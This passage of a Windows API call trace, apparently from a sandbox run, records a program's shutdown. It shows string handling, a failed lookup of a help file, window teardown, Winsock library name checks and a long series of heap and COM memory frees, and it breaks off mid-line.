[0057.153] lstrlenA (lpString="C:\\Windows\\Help\\.HLP") returned 20 [0057.154] CharToOemBuffA (in: lpszSrc="C:\\Windows\\Help\\.HLP", lpszDst=0x18f308, cchDstLength=0x15 | out: lpszDst="C:\\Windows\\Help\\.HLP") returned 1 [0057.154] GetFileAttributesA (lpFileName="C:\\Windows\\Help\\.HLP" (normalized: "c:\\windows\\help\\.hlp")) returned 0xffffffff [0057.157] GetLastError () returned 0x2 [0057.157] GetLastError () returned 0x2 [0057.157] SetLastError (dwErrCode=0x2) [0057.157] GetLastError () returned 0x2 [0057.157] SetLastError (dwErrCode=0x2) [0057.157] GetFileAttributesA (lpFileName="C:\\Windows\\Help\\.HLP" (normalized: "c:\\windows\\help\\.hlp")) returned 0xffffffff [0057.157] GetLastError () returned 0x2 [0057.157] GetLastError () returned 0x2 [0057.157] SetLastError (dwErrCode=0x2) [0057.157] GetLastError () returned 0x2 [0057.157] SetLastError (dwErrCode=0x2) [0057.157] lstrlenA (lpString="") returned 0 [0057.157] lstrcpyA (in: lpString1=0x18f318, lpString2="" | out: lpString1="") returned="" [0057.157] lstrlenA (lpString=".HLP") returned 4 [0057.157] lstrlenA (lpString="") returned 0 [0057.157] lstrcpynA (in: lpString1=0x18f428, lpString2="", iMaxLength=260 | out: lpString1="") returned="" [0057.157] lstrlenA (lpString="") returned 0 [0057.157] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x14774b0, Size=0x1) returned 0x14774b0 [0057.157] RtlReAllocateHeap (Heap=0x1460000, Flags=0x0, Ptr=0x147afa0, Size=0x1) returned 0x147afa0 [0057.157] lstrcpyA (in: lpString1=0x14774b0, lpString2="" | out: lpString1="") returned="" [0057.158] lstrcpyA (in: lpString1=0x18fa58, lpString2="" | out: lpString1="") returned="" [0057.158] lstrlenA (lpString="") returned 0 [0057.158] lstrlenA (lpString="") returned 0 [0057.158] lstrcatA (in: lpString1="", lpString2="" | out: lpString1="") returned="" [0057.158] GetDesktopWindow () returned 0x10010 [0057.158] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147afa0 | out: hHeap=0x1460000) returned 1 [0057.158] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14774b0 | out: hHeap=0x1460000) returned 1 [0057.173] CoFreeUnusedLibraries () [0057.174] DllCanUnloadNow () returned 0x0 [0057.174] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.174] FreeLibrary (hLibModule=0x77710000) returned 1 [0057.175] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.175] free (_Block=0x14b24a8) [0057.177] GetCurrentThreadId () returned 0x3a4 [0057.177] DestroyWindow (hWnd=0x5011c) returned 1 [0057.177] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0057.178] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x46, wParam=0x0, lParam=0x18fce8) returned 0x0 [0057.178] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x47, wParam=0x0, lParam=0x18fce8) returned 0x0 [0057.179] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0057.179] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0057.179] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0057.180] PostQuitMessage (nExitCode=0) [0057.180] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0057.181] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x1050, wParam=0x0, lParam=0x0) returned 0x0 [0057.181] GetCurrentThreadId () returned 0x3a4 [0057.181] GetCurrentThreadId () returned 0x3a4 [0057.181] GetCurrentThreadId () returned 0x3a4 [0057.181] GetCurrentThreadId () returned 0x3a4 [0057.181] lstrcmpiA (lpString1="MSWinsockLib.Winsock", lpString2="MSWinsockLib.Winsock") returned 0 [0057.182] GetCurrentThreadId () returned 0x3a4 [0057.182] GetCurrentThreadId () returned 0x3a4 [0057.182] GetCurrentThreadId () returned 0x3a4 [0057.182] GetCurrentThreadId () returned 0x3a4 [0057.182] GetCurrentThreadId () returned 0x3a4 [0057.182] PostMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 1 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.192] GetCurrentThreadId () returned 0x3a4 [0057.193] GetCurrentThreadId () returned 0x3a4 [0057.193] GetCurrentThreadId () returned 0x3a4 [0057.193] GetCurrentThreadId () returned 0x3a4 [0057.193] GetCurrentThreadId () returned 0x3a4 [0057.193] GetCurrentThreadId () returned 0x3a4 [0057.193] GetCurrentThreadId () returned 0x3a4 [0057.193] GetCurrentThreadId () returned 0x3a4 [0057.193] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477470 | out: hHeap=0x1460000) returned 1 [0057.193] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477480 | out: hHeap=0x1460000) returned 1 [0057.193] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477490 | out: hHeap=0x1460000) returned 1 [0057.193] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14774a0 | out: hHeap=0x1460000) returned 1 [0057.250] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147ae88 | out: hHeap=0x1460000) returned 1 [0057.250] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1478a90 | out: hHeap=0x1460000) returned 1 [0057.250] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477360 | out: hHeap=0x1460000) returned 1 [0057.250] GetCurrentThreadId () returned 0x3a4 [0057.250] GetCurrentThreadId () returned 0x3a4 [0057.250] GetCurrentThreadId () returned 0x3a4 [0057.250] lstrcmpiA (lpString1="MSWinsockLib.Winsock", lpString2="MSWinsockLib.Winsock") returned 0 [0057.251] GetCurrentThreadId () returned 0x3a4 [0057.251] GetCurrentThreadId () returned 0x3a4 [0057.251] GetCurrentThreadId () returned 0x3a4 [0057.251] GetCurrentThreadId () returned 0x3a4 [0057.251] GetCurrentThreadId () returned 0x3a4 [0057.251] PostMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 1 [0057.257] GetCurrentThreadId () returned 0x3a4 [0057.257] GetCurrentThreadId () returned 0x3a4 [0057.258] GetCurrentThreadId () returned 0x3a4 [0057.258] GetCurrentThreadId () returned 0x3a4 [0057.258] GetCurrentThreadId () returned 0x3a4 [0057.264] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477300 | out: hHeap=0x1460000) returned 1 [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14f9698) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14f9670) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14fea80) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14fcb08) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14fde88) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14fde18) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14fdda8) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14fdd38) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14fdcc8) [0057.264] IMalloc:Free (This=0x767666bc, pv=0x14fdc58) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fdbe8) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fdb78) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fdb08) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fda98) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fda10) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd9a0) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd930) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd8c0) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd850) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd7e0) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd770) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd700) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd690) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd620) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd5b0) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd540) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd4d0) [0057.265] IMalloc:Free (This=0x767666bc, pv=0x14fd460) [0057.265] GetCurrentThreadId () returned 0x3a4 [0057.265] GetCurrentThreadId () returned 0x3a4 [0057.265] GetCurrentThreadId () returned 0x3a4 [0057.265] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472da0 | out: hHeap=0x1460000) returned 1 [0057.265] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475c80 | out: hHeap=0x1460000) returned 1 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.266] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472d88 | out: hHeap=0x1460000) returned 1 [0057.266] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475ba8 | out: hHeap=0x1460000) returned 1 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.266] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472d70 | out: hHeap=0x1460000) returned 1 [0057.266] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475ad0 | out: hHeap=0x1460000) returned 1 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.266] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472d58 | out: hHeap=0x1460000) returned 1 [0057.266] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14759f8 | out: hHeap=0x1460000) returned 1 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.266] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462270 | out: hHeap=0x1460000) returned 1 [0057.266] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462208 | out: hHeap=0x1460000) returned 1 [0057.266] GetCurrentThreadId () returned 0x3a4 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475950 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x3880000, dwFlags=0x0, lpMem=0x38808f0 | out: hHeap=0x3880000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475a28 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x3880000, dwFlags=0x0, lpMem=0x3880928 | out: hHeap=0x3880000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475b00 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x3880000, dwFlags=0x0, lpMem=0x3880960 | out: hHeap=0x3880000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475bd8 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x3880000, dwFlags=0x0, lpMem=0x3880998 | out: hHeap=0x3880000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462cc0 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462e38 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462ea8 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462ca8 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1462b88 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463370 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463468 | out: hHeap=0x1460000) returned 1 [0057.267] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463330 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14634b8 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463318 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14631f8 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463850 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463978 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463810 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14639e0 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14637f8 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14636d8 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463dc0 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463e78 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463d90 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463eb8 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463d78 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463c58 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14641d8 | out: hHeap=0x1460000) returned 1 [0057.268] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14642b8 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14641a8 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464308 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464188 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464068 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464630 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464740 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14647a0 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464618 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14644f8 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464ba8 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1463198 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14631e0 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464be0 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14631c8 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464a88 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464de0 | out: hHeap=0x1460000) returned 1 [0057.269] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464dc8 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464ca8 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465018 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14651a8 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465230 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14782b0 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465008 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464ee8 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465688 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14656c0 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465670 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465550 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14658c0 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14658e8 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14658a8 | out: hHeap=0x1460000) returned 1 [0057.270] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465788 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465b78 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465c70 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464a10 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465cd0 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14649f8 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465a58 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465ff0 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1466180 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1466208 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464a60 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465ed0 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1470eb0 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1470f40 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1464a78 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1470d90 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14711e8 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14713d8 | out: hHeap=0x1460000) returned 1 [0057.271] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1471490 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14711d0 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14710b0 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472578 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472710 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14727a0 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472560 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472440 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473128 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1465958 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14732f8 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472d40 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472c08 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14757e8 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475920 | out: hHeap=0x1460000) returned 1 [0057.272] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473670 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473800 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475ce0 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475dd8 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475cb0 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1475e28 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472db8 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473928 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476058 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476138 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476028 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476190 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472dd0 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473a50 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476360 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476470 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14764c8 | out: hHeap=0x1460000) returned 1 [0057.273] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472de8 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473b78 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472ae8 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472b80 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472ab8 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14768a0 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472e00 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473ca0 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14769f0 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476a88 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472bb0 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476ab8 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472e18 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473dc8 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476c38 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476d00 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476c08 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476d48 | out: hHeap=0x1460000) returned 1 [0057.274] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472e30 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1473ef0 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476f20 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476ff0 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1476ef0 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477048 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472e48 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1474018 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477200 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1472bf0 | out: hHeap=0x1460000) returned 1 [0057.275] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x1477240 | out: 